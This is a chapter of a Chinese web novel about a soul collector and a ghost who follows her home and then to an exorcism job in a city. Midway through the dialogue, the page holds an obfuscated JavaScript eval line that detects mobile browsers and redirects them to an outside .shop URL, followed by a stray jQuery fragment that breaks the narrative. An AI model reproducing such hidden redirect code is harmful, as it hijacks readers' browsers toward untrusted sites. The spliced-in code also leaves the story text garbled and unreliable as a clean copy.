文趣网 > 都市小说 > 未亡魂 > 3. 不修不走
    “收完了?”岸边的水鬼探出半个身子。

    辛芒点了点头,顺手从鱼篓里捞起一条,拎在手里掂了掂,走了两步又折回来:“问你个事,可曾见过一个小鬼,年纪不大,受了伤往这边跑的?”

    “是被你打伤的吧?”水鬼的语气里带了几分揶揄,“你哪回有过失手,没收他,那就是存心逗他。不过嘛,他回来时可叫得够惨的,你下手也太重了些。”

    “你何时变得这么八卦了?“辛芒眉毛微微一动,“告诉我他往哪去了就行。”

    水鬼往竹林的方向指了指。

    辛芒提着鱼就走了,没有往竹林去,径直往家走。

    回家后她把鱼放进小水缸里养着,不急着吃。

    收魂师的日子大抵是在夜间过的。趁天色阴沉或月光铺地,她翻了一小块地,洒下苋菜和空心菜的种子,用不了多久便能掐嫩梢吃啦。天亮之前,她又把水缸挑满了,够用好几日。

    辛芒站在院子里环顾一圈,井井有条,和养母在世时没什么两样,什么都没变,变的只有她心里那一点酸涩,从今往后,这条路只剩她一个人走了。

    日子照旧往前淌。她回到屋里,抬头看了看屋顶那个破洞,懒得去补,索性往摇椅上一躺,又睡了一觉。

    日复一日,月复一月。孤独像西州的沙土一样,沉甸甸地铺满了每一天。她在日光下沉眠,看着月亮西沉,偶尔能赶上朝霞泼开的那一瞬,像昙花一现。空心菜都吃过好几茬了。偶尔为了收魂离家几日,回来时沙石地里的物件总落一层厚灰,辛芒不会一股脑全擦干净,会留着花几天去做,但养母牌位前的纸钱,总是要多烧几日的。

    冬日天光总是灰蒙蒙的,许多鬼魂也敢在白天出来晃荡。辛芒见了不少鬼的热闹,却再没见过戴耳。

    冬至这天,辛芒一个人煮了赤豆糯米饭,又喝了几口冬酿酒。她正准备脱下厚重的冬衣睡觉,忽然感觉身侧一凉,一转头,竟是几个月不见的戴耳。他就那么站在那儿,周身阴气沉沉,直直地盯着她,像要生生把她看穿。

    辛芒手上动作一顿:“你来干什么?”

    “亏你还记得我。”他慢慢靠近,魂体化作风似的绕到她身边,凑在耳侧,“你说过太阳下山就补屋顶,可那地方现在还是破的,你个骗子。”

    辛芒神色微僵,没料到他记着这个。其实她补过的,某个乌云压顶的午后,她爬上屋顶重新苫过茅草,可没过几天又被风卷跑了。后来没怎么下过雨,便是冬日落雪也成不了灾,她便没再管。

    她面色淡淡的:“我以为你是来寻仇的。”

    “寻仇?不,我想通了,我是来跟你道歉的,然后要你还债。”

    戴耳退开半步,在她面前站定,认认真真地弯了弯腰:“我不该趁你睡着脱你手套,是我的错,对不住。”他直起身,指了指自己胸口,“但你的铜钱把我打成这样,这地方我修了好久才修好,你得补偿我。”

    辛芒嗤笑一声:“我从不补偿鬼。”

    “鬼又怎么了?你答应过不收我,却差点把我打得魂飞魄散——你失言在先,不占理的是你。”

    “那是我以为你要害我,误伤罢了。别吵我睡觉。”

    她不愿再多说,把冬衣和葫芦一干物件挂好,钻进被窝里,背对着他。

    “你可真狠心!”戴耳冲到床头,“我走了这么久,你都不问我过得好不好?我拖着一副残魂四处飘荡,多危险啊,你怎么能睡得这么安稳?”

    辛芒闭着眼:“是你自己跑走的。”

    “我不跑,你就要杀了我!”他嘶声吼道。

    “你已经死了,我杀不了你第二次。”

    “你是要收了我。”

    “对。”当时确实是这么想的。

    “……哼!你就这种脾性,难怪没朋友。”

    戴耳负气转身,穿墙而出。

    辛芒困得眼皮打架,况且今晚还有任务。她扫了一眼空荡的房间,懒得去追,沉沉睡了过去。

    戴耳在屋外绕了一圈又一圈,逼着自己冷静,若还有肉身,这会儿心火怕是要把天灵盖顶穿了。他索性飘上屋顶,在破洞旁边坐下来,从上往下望,摇椅和桌上那碗白梅都看得清清楚楚。

    “那梅子……什么味儿啊?”

    “应是甜的……”

    惨白的天空飘起了雪,雪花穿过他的魂体,落在破洞处,和横七竖八的茅草缠在一起,渐渐结成薄冰,竟把那空洞补上了。

    戴耳望着远方,河岸边炊烟袅袅,看着比这间茅屋暖和多了。他忽然想起北州,那里应该一直在下雪吧。家里那几个小毛孩最爱在雪地里撒欢,三五成群扔雪球;或者去南翠湖滑冰,五妹每年都要缠着他和几个哥哥姐姐去玩上几天;母亲炖的萝卜羊肉,更是全家都惦记的……

    想到母亲,戴耳心里翻涌起一阵说不清的酸楚,他死得太早了,连孝都没来得及尽。人人只知他在闭关,恐怕至今都没人发现他死在灵珂潭底。真羡慕有肉身的人啊,痛快地哭出眼泪来。

    他在屋顶坐了一整天,说是淋了一天的雪、吹了一天的风,其实什么也没淋着、没吹到。

    一日安眠。戌时初,辛芒醒了,脑袋还有些醉酒的昏沉,但不耽误做事。

    她带上收魂的家什,挑了一双鹿皮手套戴上,又将白梅全数装进布袋,关了门便往外走,没瞧见屋顶上坐着的鬼。

    “喂!”戴耳喊住她,“你要去哪儿?”

    辛芒这才抬起头:“你还没走?”

    “你不是说我想待就待吗?”他飘了下来,“而且你不把屋顶补上,我绝不走。”

    “随你。”

    辛芒懒得再说,转身就走。她其实早忘了自己说过什么,只记得当时天热,有他在屋里能凉快些,才没赶他,如今数九寒天,留着他只怕更费炭。

    戴耳望着她毫不留情的背影,在心里下了结论——她就是块茅坑里的臭石头,又硬又臭。

    “脾气真臭!”他小声嘟囔了一句,又飞快飘到她身边,“你还没说去哪儿呢?“

    “与你无关。”

    啊。好冷漠。比鬼魂还冷。

    戴耳索性不问了,就这么跟着。辛芒侧目瞥了他一眼,略显不耐:“你非要跟?”

    “你不肯说,我就自己一探究竟呗。”

    “我要进城,人多,你不怕?”

    “不怕。”戴耳反倒来了兴致,“人多好啊,热闹,我生前就爱凑热闹。”

    “可我不是去凑热闹的,我是去收魂。”

    “那也好啊,我还没见识过收魂呢,你就让我开开眼。”

    “你哪儿有眼啊。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949623|214147||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “我有!”

    “那你把眼珠子转给我看看。”

    “凭啥?”

    “那就是没有。”

    “可我能看见,能听,也能说。”

    “可你是实打实的鬼,不能吃,不能闻,不能摸。”

    “那你能摸我吗?”戴耳忽然认真地问。

    辛芒步子一顿,停下来审视了他片刻,最终决定,算了。摸鬼有风险,万一对方吐出一连串扰人的记忆,想甩都甩不掉。

    她确实用过这双手摸鬼。头一回是对一个醉鬼,指尖刚碰上他湿滑的皮肤,那人的一生便像被撬开的匣子,一股脑灌进来:酒色淫.乱,满屋子赤裸的女人,被灌酒灌到马上风;往回接着是家业败落、店铺抵债、赌运奇臭;再往前是新婚燕尔、纳妾养倌、妻离子散;更早时是年少识礼、发奋读书、出身低微、买官不成、转而行商。

    那个醉鬼的一生在年幼的辛芒脑袋里走了一遭,有些画面冲击力太大,她此生都忘不掉。

    第二次,她摸的是一个疫鬼。那女子生前皮肤尽数溃烂,死后也面目模糊。辛芒窥见了她的一生:幼年因战乱流离失所,被人收养当仆役,长大了又被卖进高门做杂役,不幸被府上少爷占了身子,没名没分,受正房和姨娘们百般欺辱,最终染上瘟疫死了,连个收尸的人都没有。她这一辈子太苦了,辛芒摸过之后大病一场,从此再没摘过手套。

    “能不能?”戴耳还在等。

    “不行。”辛芒冷冷丢下两个字,迈步继续走。

    “不行就算了。”戴耳也不纠缠,“那你到底修不修屋顶?”

    “……啧。回来再说。”

    戴耳一路叽叽喳喳,倒是让这段路不那么闷了,只是原本一个时辰能走完的路,硬生生多耗了小半个时辰。

    清泉城,因城中一口清泉得名。

    辛芒叩响张宅的角门,报了身份和来意,家丁便唤了两个丫鬟,将她一路引到内厅,大夫人已经等在那里了。

    张宅大夫人姓吴。辛芒到之前,吴夫人就已经坐着等,面容憔悴,望眼欲穿。一见辛芒进门,她如获大赦般起身,一把攥住辛芒的手,眼泪扑簌簌地往下掉:“你是辛桐的女儿?也是收魂师?”

    诶哟真冷啊。吴夫人后悔靠她太近了。她早听人说收魂师日日与鬼打交道,不光不吉利,身上还带着一股渗人的寒气。

    “正是。”辛芒忍着没抽回手,这位夫人身上的熏香未免太重,冲得她脑仁发胀,“情形我大致知晓了,若要细查,还请夫人带我到张员外房中看看。”

    吴夫人打了个寒颤,赶紧松了手,拿帕子揩了揩眼角:“好,请跟我来。”

    她走得飞快,一是忧心丈夫安危,二是想离辛芒远些,站在收魂师旁边,实在冷得慌。

    “离远点。”辛芒压着声音跟戴耳说。

    戴耳根本没当回事。吴夫人却猛地回了头:“辛姑娘说什么?”

    辛芒扯出一个笑来:“没什么,只是觉得院中景致不错。”

    “都是老爷布置的。”吴夫人陪着笑,步子更快了,她可半点都不想陪她看景。

    戴耳仍没挪地方。辛芒心平气和地摸上了腰间的铜钱,朝他不咸不淡地弯了弯嘴角,威胁之意赤裸裸的。戴耳这才知道怕了,退出去老远——这块臭石头,是说干就干的。